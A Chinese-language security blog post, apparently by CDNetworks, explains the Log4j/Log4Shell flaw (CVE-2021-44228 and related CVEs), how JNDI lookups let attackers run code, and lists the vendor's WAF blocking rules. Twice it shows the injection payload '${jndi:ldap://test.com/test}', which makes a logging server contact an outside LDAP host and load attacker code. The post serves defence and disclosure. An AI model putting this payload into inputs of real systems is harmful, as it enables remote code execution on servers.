2021 年 12 月 9 日,发现了一个影响流行的 Apache 软件包的关键远程代码执行 (RCE) 漏洞。这种称为 Apache Log4J 的零日软件漏洞是对全球数百万应用程序和设备的潜在威胁。其全球影响促使美国国家标准与技术研究院 (NIST) 于 2021 年 12 月 10 日发布了关键的 CVE-2021-44228,解决了国家漏洞数据库中的 Log4J 漏洞。鉴于此漏洞允许恶意攻击者执行任何针对易受攻击的 Java 进程的命令,它都已获得最高的通用漏洞评分系统 (CVSS) 严重性级别。
什么是 Log4j?
Apache Log4j 是几乎所有 Java 服务都使用的基于 Java 的日志记录工具之一。 Apache Log4j 作为 Apache 软件基金会提供的开源软件,用于记录用户操作和应用程序行为。例如,当你访问一个服务器时,你的行为会被服务器通过Log4J工具记录下来,用于查看和错误检查。
为什么Log4j漏洞的影响如此严重?
Log4j 无处不在。
Java技术栈广泛应用于Windows、Linux、Mac操作系统;在物联网家庭和商业设备中;在 Web 应用程序、后端开发、大数据等领域。作为一种开发工具,Java 可以在 Kafka、Elasticsearch、Flink 等许多中间件解决方案中找到。此外,数以千计的全球公司已经为其 Java 服务部署了 Log4j 工具。而且由于 Log4j 通常被重命名、重新打包和下载,因此该漏洞可能存在于任何地方。
这个漏洞很容易被利用
通过在访问日志中插入${jndi:ldap://test.com/test}等恶意代码,即可成功利用Log4J漏洞。
该漏洞是如何工作的?
早于 2.15.0 版本的 Apache Log4j 日志记录框架中的漏洞使能够控制日志消息或日志消息参数的未经身份验证的远程攻击者能够在执行日志记录的系统上执行恶意代码。如果在 Log4j2 库上启用消息查找替换,攻击者可以用从 LDAP 服务器发送的任意代码字符串替换日志消息中的某些字符串。当包含替换字符串的消息被记录时,任意代码就会运行,这可能使攻击者能够控制正在执行日志记录的系统。
Apache Log4j 的默认配置支持 Java 命名和目录接口 (JNDI) 查找。当从不安全的第三方 LDAP 服务器下载类文件以构建对象时,可以利用这些查找。
以下步骤描述了 Log4J 漏洞是如何传播的。
- 黑客将 JNDI 查找插入到标头中,例如 ${jndi:ldap://test.com/test},这是由 Log4J 记录的。
- Log4J 处理日志中的恶意代码,然后查询恶意 LDAP 服务器(//test.com/test)。
- 恶意 LDAP 服务器通过将恶意 Java 类文件发送到源服务器来做出响应。
漏洞不断变异
距离发现漏洞已经半个月了。此后,已经确定了三个相关的 CVE,预计该漏洞将继续变异。
CVE-2021-4104
当攻击者具有对 Log4j 配置的写访问权限时,Apache Log4j JMSAppender 容易受到不受信任数据的反序列化。
CVE-2021-44228
Apache Log4j JNDI 功能允许系统在未经任何许可的情况下与攻击者控制的 LDAP 服务器或其他与 JNDI 相关的端点进行通信。
CVE-2021-45046
Apache Log4j 线程上下文模式和上下文查找模式可以允许恶意 JNDI 输入数据调用拒绝服务 (DoS) 攻击。
CDNetworks 继续关注 Log4j 漏洞
一旦报告了 Log4J 漏洞,CDNetworks 的安全团队就采取措施评估我们的基础设施和产品,并进行适当的更新以减轻漏洞的影响。
因此,我们从 2021 年 12 月 10 日起发布并部署了以下新的 Web 应用程序防火墙 (WAF) 规则,以解决上面显示的 CVE 并减少 Log4J 的利用尝试。默认情况下,所有规则都设置为阻止模式。
规则编号 | 描述 | 默认操作 |
---|---|---|
9337 | Log4J 主体 | 堵塞 |
9930 | Apache-Log4j RCE | 堵塞 |
9959 | log4j 的请求绕过行为 | 堵塞 |
9960 | Apache-Log4j RCE | 堵塞 |
9961 | Apache-Log4j RCE | 堵塞 |
9962 | Apache-Log4j RCE 和版本信息 | 堵塞 |
Log4j 开发趋势
2021年12月10日至12月26日,CDNetworks成功拦截恶意Log4J攻击请求2004902次。
CDNetworks 安全团队继续积极监控情况,以确保客户继续受到这些漏洞的保护。我们将根据事态发展的需要用新发现或信息更新此博客。